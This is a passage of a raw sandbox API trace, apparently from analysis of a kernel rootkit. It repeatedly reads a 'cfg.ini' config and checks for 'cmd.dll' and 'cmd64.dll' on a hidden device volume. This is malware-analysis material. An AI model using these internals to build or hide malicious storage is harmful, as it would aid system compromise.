Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.227] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.227] IdePortDispatch () returned 0x103 [0121.227] KeWaitForMutexObject () returned 0x0 [0121.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.227] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.227] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.227] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.227] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.227] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4cc0 [0121.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.227] KeLeaveCriticalRegion () [0121.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.228] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.228] KeEnterCriticalRegion () [0121.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.228] KeLeaveCriticalRegion () [0121.228] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.228] KeEnterCriticalRegion () [0121.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.228] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.228] IdePortDispatch () returned 0x103 [0121.228] KeWaitForMutexObject () returned 0x0 [0121.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.228] KeLeaveCriticalRegion () [0121.228] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.228] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.228] KeEnterCriticalRegion () [0121.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dd000 [0121.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.228] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.228] IdePortDispatch () returned 0x103 [0121.228] KeWaitForMutexObject () returned 0x0 [0121.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.229] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.229] IdePortDispatch () returned 0x103 [0121.229] KeWaitForMutexObject () returned 0x0 [0121.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.229] KeLeaveCriticalRegion () [0121.229] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.229] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.229] KeEnterCriticalRegion () [0121.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.229] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.229] KeLeaveCriticalRegion () [0121.229] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.229] KeEnterCriticalRegion () [0121.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.229] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.229] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.229] KeLeaveCriticalRegion () [0121.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.230] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.230] KeEnterCriticalRegion () [0121.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.230] ExFreePoolWithTag (P=0xfffffa8003bc4cc0, Tag=0x0) [0121.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.230] KeLeaveCriticalRegion () [0121.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.230] ReleaseMutex (hMutex=0xf0) returned 1 [0121.230] Sleep (dwMilliseconds=0x124f80) [0121.244] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.244] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.244] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.244] KeEnterCriticalRegion () [0121.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.244] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.244] IdePortDispatch () returned 0x103 [0121.244] KeWaitForMutexObject () returned 0x0 [0121.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.244] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.244] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.244] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.244] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.244] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc39f0 [0121.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.244] KeLeaveCriticalRegion () [0121.244] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.244] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.244] KeEnterCriticalRegion () [0121.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.244] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.244] KeLeaveCriticalRegion () [0121.244] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.244] KeEnterCriticalRegion () [0121.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.245] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.245] IdePortDispatch () returned 0x103 [0121.245] KeWaitForMutexObject () returned 0x0 [0121.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.246] KeLeaveCriticalRegion () [0121.246] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.246] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.246] KeEnterCriticalRegion () [0121.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e2000 [0121.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.246] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.246] IdePortDispatch () returned 0x103 [0121.246] KeWaitForMutexObject () returned 0x0 [0121.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.246] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.246] IdePortDispatch () returned 0x103 [0121.246] KeWaitForMutexObject () returned 0x0 [0121.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.247] KeLeaveCriticalRegion () [0121.247] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.247] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.247] KeEnterCriticalRegion () [0121.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.247] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.247] KeLeaveCriticalRegion () [0121.247] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.247] KeEnterCriticalRegion () [0121.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.247] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.247] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.247] KeLeaveCriticalRegion () [0121.247] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.247] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.247] KeEnterCriticalRegion () [0121.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.247] ExFreePoolWithTag (P=0xfffffa8003bc39f0, Tag=0x0) [0121.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.247] KeLeaveCriticalRegion () [0121.247] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.247] ReleaseMutex (hMutex=0xf0) returned 1 [0121.248] Sleep (dwMilliseconds=0x124f80) [0121.261] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.261] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.261] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.261] KeEnterCriticalRegion () [0121.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.261] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.261] IdePortDispatch () returned 0x103 [0121.261] KeWaitForMutexObject () returned 0x0 [0121.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.261] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.261] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.261] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.261] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.261] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4d60 [0121.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.262] KeLeaveCriticalRegion () [0121.262] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.262] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.262] KeEnterCriticalRegion () [0121.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.262] KeLeaveCriticalRegion () [0121.262] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.262] KeEnterCriticalRegion () [0121.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.262] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.262] IdePortDispatch () returned 0x103 [0121.262] KeWaitForMutexObject () returned 0x0 [0121.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.262] KeLeaveCriticalRegion () [0121.262] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.262] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.262] KeEnterCriticalRegion () [0121.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e7000 [0121.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.262] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.262] IdePortDispatch () returned 0x103 [0121.262] KeWaitForMutexObject () returned 0x0 [0121.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.263] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.263] IdePortDispatch () returned 0x103 [0121.263] KeWaitForMutexObject () returned 0x0 [0121.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.263] KeLeaveCriticalRegion () [0121.263] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.263] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.263] KeEnterCriticalRegion () [0121.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.263] KeLeaveCriticalRegion () [0121.263] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.264] KeEnterCriticalRegion () [0121.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.264] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.264] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc48e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.264] KeLeaveCriticalRegion () [0121.264] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.264] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.264] KeEnterCriticalRegion () [0121.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.264] ExFreePoolWithTag (P=0xfffffa8003bc4d60, Tag=0x0) [0121.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.264] KeLeaveCriticalRegion () [0121.264] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.264] ReleaseMutex (hMutex=0xf0) returned 1 [0121.264] Sleep (dwMilliseconds=0x124f80) [0121.278] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.278] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.278] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.278] KeEnterCriticalRegion () [0121.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.279] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.279] IdePortDispatch () returned 0x103 [0121.279] KeWaitForMutexObject () returned 0x0 [0121.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.279] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.279] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.279] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.279] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.279] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe140 [0121.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.279] KeLeaveCriticalRegion () [0121.279] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.279] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.279] KeEnterCriticalRegion () [0121.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.279] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.279] KeLeaveCriticalRegion () [0121.279] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.279] KeEnterCriticalRegion () [0121.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.279] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.279] IdePortDispatch () returned 0x103 